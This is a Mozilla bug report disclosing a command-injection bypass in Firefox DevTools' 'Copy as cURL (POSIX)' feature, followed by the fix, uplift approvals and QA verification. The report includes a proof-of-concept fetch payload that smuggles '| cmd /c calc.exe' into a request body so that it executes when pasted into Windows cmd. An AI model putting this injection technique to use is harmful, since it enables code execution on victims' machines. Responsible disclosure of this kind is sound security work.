1960198 - Copy As Curl (Posix) - Code Execution - bug 1949994 bypass

Status: VERIFIED FIXED

(DevTools :: Netmonitor, defect)

Description

[Ameen Basha M K]

Hi Team, while retesting my another fixed issue (Ref added below), i have found a way to bypass the fix and get my code executed on victim machine

Ref: https://bugzilla.mozilla.org/show_bug.cgi?id=1949994

Root Cause: & and | both allows cmd to execute multiple commands seems only & is handled in above ticket. Using | i can still execute code

Payload

    fetch("/", {
        credentials: "omit",
        headers: {
            "Accept-Language": "en-US",
            "Content-Type": "text/plain",
        },
        body: "query=evil\n\n | cmd /c calc.exe \n\n",
        method: "POST",
    });

Steps to reproduce

1. Paste the above code in console (or) include it in a html file to auto send the request
2. Copy the request as curl (posix) feature
3. Paste it on cmd and you can see calc pops up

Tested it on latest firefox nightly (on which #1949994 is fixed)

I have attached the poc video for reference

Comment 1

[Ameen Basha M K]

Attachment: Firefox-CopyAsCurl-Posix-CVE2025XXXX-Bypass.mp4

Comment 2

[Hubert Boma Manilla (:bomsy)]

Attachment: Bug 1960198 - [devtools] Escape the vertical bar character r=#devtools

Comment 3

[Daniel Veditz [:dveditz]]

It would be best to fix this in 138 and release with the fix for bug 1949994.

Comment 4

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/integration/autoland/rev/4e6e7819dff0
[devtools] Escape the vertical bar character r=devtools-reviewers,ochameau

Comment 5

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/4e6e7819dff0

Comment 6

[BugBot [:suhaib / :marco/ :calixte]]

The patch landed in nightly and beta is affected.
:bomsy, is this bug important enough to require an uplift?

• If yes, please nominate the patch for beta approval.
  • See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
• If no, please set status-firefox138 to wontfix.

For more information, please visit BugBot documentation.

Comment 7

[Hubert Boma Manilla (:bomsy)]

Comment on attachment 9479102 [details]
Bug 1960198 - [devtools] Escape the vertical bar character r=#devtools

Beta/Release Uplift Approval Request

• User impact if declined/Reason for urgency: Malicious code can be executed on the the users machine
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: Yes
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Small js code to escape the curl command
• String changes made/needed:
• Is Android affected?: No

Comment 8

[Hubert Boma Manilla (:bomsy)]

Comment on attachment 9479102 [details]
Bug 1960198 - [devtools] Escape the vertical bar character r=#devtools

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration: This is a Security Bug
• User impact if declined:
• Fix Landed on Version:
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Small js fix to escape the curl command

Comment 9

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-beta/rev/8832cb6ba8b2

Comment 10

[Dianna Smith [:diannaS]]

Comment on attachment 9479102 [details]
Bug 1960198 - [devtools] Escape the vertical bar character r=#devtools

Approved for 138.0b9
Approved for 115.23esr
Approved for 128.10esr

Comment 11

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr128/rev/20e7dab03e65

Comment 12

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr115/rev/b37f454c503a

Comment 13

[Alexandru Trif, Desktop Test Engineering [:atrif]]

I have reproduced the issue by following the steps from comment 0 on Windows 10x64 with Firefox 138.0b7 and on Windows 7x64 with Firefox 115.22.esr. After executing the copied curl (posix) inside CMD, the Calculator application was opened.
The issue is verified fixed on Windows 10 with Firefox 139.0a1 (2025-04-22), 138.0, 128.10.0esr and on Windows 7x64 with 115.23esr . The Calculator application is no longer opened after following steps from comment 0 and executing the copied curl (posix) inside CMD.

Comment 14

[Jason Kratzer [:jkratzer]]

Attachment: advisory.txt